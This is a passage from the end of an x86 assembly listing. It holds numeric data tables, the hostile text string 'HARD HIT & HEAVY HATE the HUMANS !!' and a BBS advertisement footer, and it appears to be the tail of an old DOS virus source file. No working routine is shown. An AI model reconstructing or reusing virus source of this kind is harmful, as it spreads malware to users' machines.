  880.                 DW      20,-40,-20,30,-38,-9,33,-36,5,29,-34,21
  881.                 DW      17,-31,34,0,-29,40,-19,-26,37,-35,-24,25
  882.                 DW      -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46
  883.                 DW      7,-9,-48,29,-6,-40,44,-3,-22,49,0,0
  884. patt:           DB       0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27
  885.                 db      31,35,40,45,50,56,61,67,73,80,86,93
  886.  
  887.  
  888.  
  889. mess            db      'HARD HIT & HEAVY HATE the HUMANS !!'
  890.                 db      '           [ H.H.& H.H. the H. ]   '
  891. drt             dw      5 dup (0)
  892. memory:
  893.                 CODE     ENDS
  894.  
  895.                 END     START
  896.  
  897. ;  ─────────────────────────────────────────────────────────────────────────
  898. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  899. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  900. ;  ─────────────────────────────────────────────────────────────────────────
  901.